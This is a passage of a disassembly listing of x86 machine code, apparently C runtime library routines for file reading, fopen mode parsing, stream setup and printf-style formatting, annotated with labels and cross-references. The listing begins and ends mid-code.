--------------------------------------------------------------------------- loc_41F106: ; CODE XREF: sub_41F043+55j ; sub_41F043+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F117: ; CODE XREF: sub_41F043+Aj ; sub_41F043+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F11C proc near ; CODE XREF: sub_41B11A+90p ; sub_41F043+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DC700 jnb loc_41F2F9 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DC600h[eax*4] mov eax, dword_4DC600[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41F2F9 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41F1D1 test dl, 2 jnz short loc_41F1D1 test dl, 48h jz short loc_41F191 mov al, [eax+5] cmp al, 0Ah jz short loc_41F191 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41F191: ; CODE XREF: sub_41F11C+56j ; sub_41F11C+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] nop call near ptr 26F0000h test eax, eax jnz short loc_41F1E4 nop call near ptr 2670914h push 5 pop ecx cmp eax, ecx jnz short loc_41F1CC mov dword_4DB2A8, 9 mov dword_4DB2AC, ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1CC: ; CODE XREF: sub_41F11C+99j cmp eax, 6Dh jnz short loc_41F1D8 loc_41F1D1: ; CODE XREF: sub_41F11C+4Cj ; sub_41F11C+51j xor eax, eax jmp loc_41F30D ; --------------------------------------------------------------------------- loc_41F1D8: ; CODE XREF: sub_41F11C+B3j push eax call sub_4203DF pop ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1E4: ; CODE XREF: sub_41F11C+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41F2F4 test edx, edx jz short loc_41F209 cmp byte ptr [edi], 0Ah jnz short loc_41F209 or al, 4 jmp short loc_41F20B ; --------------------------------------------------------------------------- loc_41F209: ; CODE XREF: sub_41F11C+E2j ; sub_41F11C+E7j and al, 0FBh loc_41F20B: ; CODE XREF: sub_41F11C+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41F2EE loc_41F223: ; CODE XREF: sub_41F11C+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41F2DE cmp al, 0Dh jz short loc_41F23F mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F23F: ; CODE XREF: sub_41F11C+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41F25D mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41F254 add [ebp+arg_8], 2 jmp short loc_41F2B2 ; --------------------------------------------------------------------------- loc_41F254: ; CODE XREF: sub_41F11C+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F25D: ; CODE XREF: sub_41F11C+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 26F0000h test eax, eax jnz short loc_41F285 nop call near ptr 2670914h test eax, eax jnz short loc_41F2CC loc_41F285: ; CODE XREF: sub_41F11C+15Dj cmp [ebp+var_C], 0 jz short loc_41F2CC mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41F2A7 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41F2B2 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F2A7: ; CODE XREF: sub_41F11C+176j cmp edi, [ebp+arg_4] jnz short loc_41F2B7 cmp [ebp+var_1], 0Ah jnz short loc_41F2B7 loc_41F2B2: ; CODE XREF: sub_41F11C+136j ; sub_41F11C+17Dj mov byte ptr [edi], 0Ah jmp short loc_41F2CF ; --------------------------------------------------------------------------- loc_41F2B7: ; CODE XREF: sub_41F11C+18Ej ; sub_41F11C+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_42272B add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41F2D0 loc_41F2CC: ; CODE XREF: sub_41F11C+167j ; sub_41F11C+16Dj mov byte ptr [edi], 0Dh loc_41F2CF: ; CODE XREF: sub_41F11C+199j inc edi loc_41F2D0: ; CODE XREF: sub_41F11C+11Ej ; sub_41F11C+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41F223 jmp short loc_41F2EE ; --------------------------------------------------------------------------- loc_41F2DE: ; CODE XREF: sub_41F11C+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41F2EE or al, 2 mov [esi], al loc_41F2EE: ; CODE XREF: sub_41F11C+101j ; sub_41F11C+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41F2F4: ; CODE XREF: sub_41F11C+DAj mov eax, [ebp+var_8] jmp short loc_41F30D ; --------------------------------------------------------------------------- loc_41F2F9: ; CODE XREF: sub_41F11C+12j ; sub_41F11C+39j and dword_4DB2AC, 0 mov dword_4DB2A8, 9 loc_41F30A: ; CODE XREF: sub_41F11C+ABj ; sub_41F11C+C3j or eax, 0FFFFFFFFh loc_41F30D: ; CODE XREF: sub_41F11C+B7j ; sub_41F11C+1DBj pop edi pop esi pop ebx leave retn sub_41F11C endp ; =============== S U B R O U T I N E ======================================= sub_41F312 proc near ; CODE XREF: sub_41B202+126p ; sub_41B202+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DB328 test eax, eax jz short loc_41F32A push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41F32A push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41F32A: ; CODE XREF: sub_41F312+7j ; sub_41F312+12j xor eax, eax retn sub_41F312 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F32D proc near ; CODE XREF: sub_41B4A2+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DB494 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41F366 cmp al, 72h jz short loc_41F35F cmp al, 77h jnz loc_41F47A mov ecx, 301h jmp short loc_41F36B ; --------------------------------------------------------------------------- loc_41F35F: ; CODE XREF: sub_41F32D+21j xor ecx, ecx or esi, 1 jmp short loc_41F36E ; --------------------------------------------------------------------------- loc_41F366: ; CODE XREF: sub_41F32D+1Dj mov ecx, 109h loc_41F36B: ; CODE XREF: sub_41F32D+30j or esi, 2 loc_41F36E: ; CODE XREF: sub_41F32D+37j push 1 pop edx loc_41F371: ; CODE XREF: sub_41F32D+8Bj ; sub_41F32D+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41F460 cmp edx, ebx jz loc_41F460 movsx eax, al cmp eax, 54h jg short loc_41F3FF jz short loc_41F3EF sub eax, 2Bh jz short loc_41F3D9 sub eax, 19h jz short loc_41F3CF sub eax, 0Eh jz short loc_41F3BA dec eax jnz loc_41F451 cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3BA: ; CODE XREF: sub_41F32D+6Fj cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3CF: ; CODE XREF: sub_41F32D+6Aj test cl, 40h jnz short loc_41F451 or ecx, 40h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3D9: ; CODE XREF: sub_41F32D+65j test cl, 2 jnz short loc_41F451 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3EF: ; CODE XREF: sub_41F32D+60j mov eax, 1000h test ecx, eax jnz short loc_41F451 or ecx, eax jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F3FF: ; CODE XREF: sub_41F32D+5Ej sub eax, 62h jz short loc_41F44C dec eax jz short loc_41F435 sub eax, 0Bh jz short loc_41F41E sub eax, 6 jnz short loc_41F451 test ch, 0C0h jnz short loc_41F451 or ch, 40h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F41E: ; CODE XREF: sub_41F32D+DDj cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F435: ; CODE XREF: sub_41F32D+D8j cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F44C: ; CODE XREF: sub_41F32D+D5j test ch, 0C0h jz short loc_41F458 loc_41F451: ; CODE XREF: sub_41F32D+72j ; sub_41F32D+7Bj ... xor edx, edx jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F458: ; CODE XREF: sub_41F32D+122j or ch, 80h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F460: ; CODE XREF: sub_41F32D+4Aj ; sub_41F32D+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_423A33 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41F47E loc_41F47A: ; CODE XREF: sub_41F32D+25j xor eax, eax jmp short loc_41F498 ; --------------------------------------------------------------------------- loc_41F47E: ; CODE XREF: sub_41F32D+14Bj mov eax, [ebp+arg_C] inc dword_4DB490 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41F498: ; CODE XREF: sub_41F32D+14Fj pop edi pop esi pop ebx leave retn sub_41F32D endp ; =============== S U B R O U T I N E ======================================= sub_41F49D proc near ; CODE XREF: sub_41B4A2p mov edx, dword_4DC5E0 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41F50E mov ebx, dword_4DB5C8 mov edi, ebx loc_41F4B9: ; CODE XREF: sub_41F49D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41F4D4 test byte ptr [ecx+0Ch], 83h jz short loc_41F4CF inc eax add edi, 4 cmp eax, edx jl short loc_41F4B9 jmp short loc_41F50E ; --------------------------------------------------------------------------- loc_41F4CF: ; CODE XREF: sub_41F49D+26j mov esi, [ebx+eax*4] jmp short loc_41F4F8 ; --------------------------------------------------------------------------- loc_41F4D4: ; CODE XREF: sub_41F49D+20j mov edi, eax push 20h shl edi, 2 call sub_41B4D5 pop ecx mov ecx, dword_4DB5C8 mov [edi+ecx], eax mov eax, dword_4DB5C8 mov edi, [edi+eax] cmp edi, ebp jz short loc_41F50E mov esi, edi loc_41F4F8: ; CODE XREF: sub_41F49D+35j cmp esi, ebp jz short loc_41F50E or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41F50E: ; CODE XREF: sub_41F49D+12j ; sub_41F49D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41F49D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F515 proc near ; CODE XREF: sub_41B6EE+17p ; sub_41B6EE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41F533 mov ecx, off_43C328 movzx eax, word ptr [ecx+eax*2] jmp short loc_41F585 ; --------------------------------------------------------------------------- loc_41F533: ; CODE XREF: sub_41F515+10j mov ecx, eax push esi mov esi, off_43C328 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41F558 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41F561 ; --------------------------------------------------------------------------- loc_41F558: ; CODE XREF: sub_41F515+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41F561: ; CODE XREF: sub_41F515+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_423CEC add esp, 1Ch test eax, eax jnz short loc_41F581 leave retn ; --------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41F515+68j movzx eax, word ptr [ebp+arg_0+2] loc_41F585: ; CODE XREF: sub_41F515+1Cj and eax, [ebp+arg_4] leave retn sub_41F515 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F58A proc near ; CODE XREF: sub_41B886+46p ; sub_41B980+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41F693 test al, 40h jnz loc_41F693 test al, 1 jz short loc_41F5C2 and dword ptr [esi+4], 0 test al, 10h jz loc_41F693 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41F5C2: ; CODE XREF: sub_41F58A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F5FC cmp esi, offset dword_43CA38 jz short loc_41F5EA cmp esi, offset dword_43CA58 jnz short loc_41F5F5 loc_41F5EA: ; CODE XREF: sub_41F58A+56j push ebx call sub_423E35 test eax, eax pop ecx jnz short loc_41F5FC loc_41F5F5: ; CODE XREF: sub_41F58A+5Ej push esi call sub_4239EF pop ecx loc_41F5FC: ; CODE XREF: sub_41F58A+4Ej ; sub_41F58A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41F669 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41F62C push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41F65F ; --------------------------------------------------------------------------- loc_41F62C: ; CODE XREF: sub_41F58A+90j cmp ebx, 0FFFFFFFFh jz short loc_41F647 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC600[eax*4] lea eax, [eax+ecx*8] jmp short loc_41F64C ; --------------------------------------------------------------------------- loc_41F647: ; CODE XREF: sub_41F58A+A5j mov eax, offset dword_43C980 loc_41F64C: ; CODE XREF: sub_41F58A+BBj test byte ptr [eax+4], 20h jz short loc_41F65F push 2 push 0 push ebx call sub_42272B add esp, 0Ch loc_41F65F: ; CODE XREF: sub_41F58A+A0j ; sub_41F58A+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41F67D ; --------------------------------------------------------------------------- loc_41F669: ; CODE XREF: sub_41F58A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax loc_41F67D: ; CODE XREF: sub_41F58A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41F689 or dword ptr [esi+0Ch], 20h jmp short loc_41F698 ; --------------------------------------------------------------------------- loc_41F689: ; CODE XREF: sub_41F58A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41F69B ; --------------------------------------------------------------------------- loc_41F693: ; CODE XREF: sub_41F58A+10j ; sub_41F58A+18j ... or al, 20h mov [esi+0Ch], eax loc_41F698: ; CODE XREF: sub_41F58A+FDj or eax, 0FFFFFFFFh loc_41F69B: ; CODE XREF: sub_41F58A+107j pop esi pop ebx pop ebp retn sub_41F58A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F69F proc near ; CODE XREF: sub_41B886+29p ; sub_41B980+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41FDB8 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41F6D3 ; --------------------------------------------------------------------------- loc_41F6CB: ; CODE XREF: sub_41F69F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41F6D3: ; CODE XREF: sub_41F69F+2Aj cmp [ebp+var_14], edx jl loc_41FDB8 cmp bl, 20h jl short loc_41F6F4 cmp bl, 78h jg short loc_41F6F4 movsx eax, bl mov al, [eax+42773Ch] and eax, 0Fh jmp short loc_41F6F6 ; --------------------------------------------------------------------------- loc_41F6F4: ; CODE XREF: sub_41F69F+40j ; sub_41F69F+45j xor eax, eax loc_41F6F6: ; CODE XREF: sub_41F69F+53j movsx eax, byte_42775C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41FDA7 ; default jmp off_41FDC0[eax*4] ; switch jump loc_41F714: ; DATA XREF: ___:off_41FDC0o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F72F: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 2 sub eax, 20h jz short loc_41F772 sub eax, 3 jz short loc_41F769 sub eax, 8 jz short loc_41F760 dec eax dec eax jz short loc_41F757 sub eax, 3 jnz loc_41FDA7 ; default or [ebp+var_4], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F757: ; CODE XREF: sub_41F69F+A4j or [ebp+var_4], 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F760: ; CODE XREF: sub_41F69F+A0j or [ebp+var_4], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F769: ; CODE XREF: sub_41F69F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F772: ; CODE XREF: sub_41F69F+96j or [ebp+var_4], 2 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F77B: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 3 jnz short loc_41F7A3 lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41FDA7 ; default or [ebp+var_4], 4 neg eax loc_41F79B: ; CODE XREF: sub_41F69F+111j mov [ebp+var_20], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7A3: ; CODE XREF: sub_41F69F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_41F79B ; --------------------------------------------------------------------------- loc_41F7B2: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov [ebp+var_10], edx ; jumptable 0041F70D case 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7BA: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 5 jnz short loc_41F7DD lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41FDA7 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7DD: ; CODE XREF: sub_41F69F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7EF: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 49h ; jumptable 0041F70D case 6 jz short loc_41F822 cmp bl, 68h jz short loc_41F819 cmp bl, 6Ch jz short loc_41F810 cmp bl, 77h jnz loc_41FDA7 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F810: ; CODE XREF: sub_41F69F+15Dj or [ebp+var_4], 10h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F819: ; CODE XREF: sub_41F69F+158j or [ebp+var_4], 20h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F822: ; CODE XREF: sub_41F69F+153j cmp byte ptr [edi], 36h jnz short loc_41F83B cmp byte ptr [edi+1], 34h jnz short loc_41F83B inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F83B: ; CODE XREF: sub_41F69F+186j ; sub_41F69F+18Cj mov [ebp+var_30], edx loc_41F83E: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov ecx, off_43C328 ; jumptable 0041F70D case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41F86A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41F86A: ; CODE XREF: sub_41F69F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 add esp, 0Ch jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F882: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 7 cmp eax, 67h jg loc_41FAAA cmp eax, 65h jge loc_41F92D cmp eax, 58h jg loc_41F98B jz loc_41FB1E sub eax, 43h jz loc_41F94E dec eax dec eax jz short loc_41F923 dec eax dec eax jz short loc_41F923 sub eax, 0Ch jnz loc_41FCA9 test word ptr [ebp+var_4], 830h jnz short loc_41F8CC or byte ptr [ebp+var_4+1], 8 loc_41F8CC: ; CODE XREF: sub_41F69F+227j ; sub_41F69F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41F8D9 mov esi, 7FFFFFFFh loc_41F8D9: ; CODE XREF: sub_41F69F+233j lea eax, [ebp+arg_8] push eax call sub_41FE7E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41FAF2 test ecx, ecx jnz short loc_41F901 mov ecx, off_43C544 mov [ebp+var_8], ecx loc_41F901: ; CODE XREF: sub_41F69F+257j mov [ebp+var_24], 1 mov eax, ecx loc_41F90A: ; CODE XREF: sub_41F69F+282j mov edx, esi dec esi test edx, edx jz loc_41FAE9 cmp word ptr [eax], 0 jz loc_41FAE9 inc eax inc eax jmp short loc_41F90A ; --------------------------------------------------------------------------- loc_41F923: ; CODE XREF: sub_41F69F+212j ; sub_41F69F+216j mov [ebp+var_34], 1 add bl, 20h loc_41F92D: ; CODE XREF: sub_41F69F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41FA11 mov [ebp+var_10], 6 jmp loc_41FA1F ; --------------------------------------------------------------------------- loc_41F94E: ; CODE XREF: sub_41F69F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41F95A or byte ptr [ebp+var_4+1], 8 loc_41F95A: ; CODE XREF: sub_41F69F+2B5j ; sub_41F69F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41F9A1 call sub_41FE9B push eax lea eax, [ebp+var_248] push eax call sub_423E5B add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41F9B4 mov [ebp+var_28], 1 jmp short loc_41F9B4 ; --------------------------------------------------------------------------- loc_41F98B: ; CODE XREF: sub_41F69F+1FBj sub eax, 5Ah jz short loc_41F9C2 sub eax, 9 jz short loc_41F95A dec eax jz loc_41FB84 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9A1: ; CODE XREF: sub_41F69F+2C5j call sub_41FE7E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41F9B4: ; CODE XREF: sub_41F69F+2E1j ; sub_41F69F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9C2: ; CODE XREF: sub_41F69F+2EFj lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx jz short loc_41FA03 mov ecx, [eax+4] test ecx, ecx jz short loc_41FA03 test byte ptr [ebp+var_4+1], 8 jz short loc_41F9F4 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F69F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FA03: ; CODE XREF: sub_41F69F+32Fj ; sub_41F69F+336j mov eax, off_43C540 mov [ebp+var_8], eax push eax jmp loc_41FA9F ; --------------------------------------------------------------------------- loc_41FA11: ; CODE XREF: sub_41F69F+29Dj jnz short loc_41FA1F cmp bl, 67h jnz short loc_41FA1F mov [ebp+var_10], 1 loc_41FA1F: ; CODE XREF: sub_41F69F+2AAj ; sub_41F69F:loc_41FA11j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43C8D0 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41FA71 cmp [ebp+var_10], 0 jnz short loc_41FA71 lea eax, [ebp+var_248] push eax call off_43C8DC pop ecx loc_41FA71: ; CODE XREF: sub_41F69F+3BCj ; sub_41F69F+3C2j cmp bl, 67h jnz short loc_41FA88 test esi, esi jnz short loc_41FA88 lea eax, [ebp+var_248] push eax call off_43C8D4 pop ecx loc_41FA88: ; CODE XREF: sub_41F69F+3D5j ; sub_41F69F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41FA9E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41FA9E: ; CODE XREF: sub_41F69F+3F0j push edi loc_41FA9F: ; CODE XREF: sub_41F69F+36Dj call sub_41AFE0 pop ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAAA: ; CODE XREF: sub_41F69F+1E9j sub eax, 69h jz loc_41FB84 sub eax, 5 jz loc_41FB5A dec eax jz loc_41FB47 dec eax jz short loc_41FB17 sub eax, 3 jz loc_41F8CC dec eax dec eax jz loc_41FB88 sub eax, 3 jnz loc_41FCA9 mov [ebp+var_2C], 27h jmp short loc_41FB25 ; --------------------------------------------------------------------------- loc_41FAE9: ; CODE XREF: sub_41F69F+270j ; sub_41F69F+27Aj sub eax, ecx sar eax, 1 jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAF2: ; CODE XREF: sub_41F69F+24Fj test ecx, ecx jnz short loc_41FAFF mov ecx, off_43C540 mov [ebp+var_8], ecx loc_41FAFF: ; CODE XREF: sub_41F69F+455j mov eax, ecx loc_41FB01: ; CODE XREF: sub_41F69F+46Fj mov edx, esi dec esi test edx, edx jz short loc_41FB10 cmp byte ptr [eax], 0 jz short loc_41FB10 inc eax jmp short loc_41FB01 ; --------------------------------------------------------------------------- loc_41FB10: ; CODE XREF: sub_41F69F+467j ; sub_41F69F+46Cj sub eax, ecx jmp loc_41FCA6 ; 